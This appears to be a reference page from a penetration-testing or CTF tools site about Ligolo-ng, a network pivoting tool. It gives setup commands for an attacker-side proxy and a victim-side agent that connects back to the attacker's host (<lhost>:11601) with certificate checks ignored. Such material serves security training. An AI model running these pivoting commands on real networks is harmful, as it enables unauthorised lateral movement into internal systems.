the_open_door
coffee
ESEN
← Tools

Ligolo-ng

TUN-interface pivoting: routes internal networks without proxychains or manual port-forwarding.

Modern pivoting tool (Ligolo-ng) that creates a TUN network interface on the attacker: you route the internal network as if it were local, with no proxychains or manual port-forwarding. Two binaries: the proxy runs on the attacker and the agent on the victim, connecting back.

Family Pivoting & tunnelling

Flags ip tuntap tun ligolo · ip route add dev ligolo

Concepts Local port forwarding (SSH tunnel), Pivoting with Ligolo-ng

Cheatsheet socat, ligolo & Meterpreter

Installation

# ligolo-ng: proxy (attacker) + agent (pivot). Tunnel over a TUN interface, no proxychains
# 1) Download 'proxy' (your Kali) and 'agent' (pivot OS) from releases:
# 2) On the attacker, create the TUN interface (once per boot):
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
# 3) Start the proxy (listens for agents on :11601 and opens its console):
./proxy -selfcert
# 4) Upload the agent to the pivot and connect it back:
./agent -connect <lhost>:11601 -ignore-cert
# 5) In the proxy console: 'session' (pick the agent) then 'start'
Repositorygithub.com/nicocha30/ligolo-ng

Useful commands5 commands

Appears in

Some machines where its use is documented; not an exhaustive list.